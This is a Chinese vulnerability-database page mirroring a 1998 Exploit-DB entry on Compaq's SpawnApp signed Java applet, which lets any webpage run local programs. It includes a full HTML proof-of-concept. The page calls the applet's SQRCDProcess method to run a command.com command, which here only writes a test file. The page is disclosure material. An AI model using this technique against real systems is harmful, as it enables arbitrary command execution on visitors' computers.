Compaq Java Applet for Presario SpawnApp – Code Execution-安全小百科

Compaq Java Applet for Presario SpawnApp – Code Execution

漏洞ID	1053376	漏洞类型
发布时间	1998-11-28	更新时间	1998-11-28
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/19442

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/557/info

Some Compaq computers come with a Java applet called SpawnApp. This applet is used to run Compaq diagnostic utilities from the local hard drive when certain Compaq websites are viewed. The problem is that the applet can run any program, and can be used by any webpage. This applet is signed as secure by Compaq. 

<html>

<head>
<title>Test for Compaq SpawnApp vulnerability</title>
</head>

<body>

<applet code=SQRCDAPP name=sqrcd width=0 height=0>    
<param name="cabbase" value="SQRCDAPP.cab">
</applet>

<SCRIPT language=javascript>
function Btn_OnClick(cmndkey)
{    document.sqrcd.SQRCDProcess("c:\windows\command\command.com /C echo Vulnerable! >c:\spawnapp.txt");
}
</SCRIPT>

<p align="center"> 
Test for Compaq SpawnApp vulnerability 
</p>

<p align="center"> 
-> 
<a href="#TopofDocument" onClick="Btn_OnClick('full')" > Test For Vulnerability 
</a> 
<-
</p>

<p align="center"> 
If your system is vulnerable, clicking the link above will open a command window, which will create the file c:spawnapp.txt with content "Vulnerable!".
</p>

<p align="center">
Note: This will only work if your Windows folder is c:windows. Otherwise you will have to edit this 
HTML file.
</p>
</body>
</html>

相关推荐: NT RPC CPU Utilization Vulnerability

NT RPC CPU Utilization Vulnerability 漏洞ID 1105077 漏洞类型 Unknown 发布时间 1997-02-07 更新时间 1997-02-07 CVE编号 N/A CNNVD-ID N/A 漏洞平台 N/A CVS…

文章版权归作者所有，未经允许请勿转载。

THE END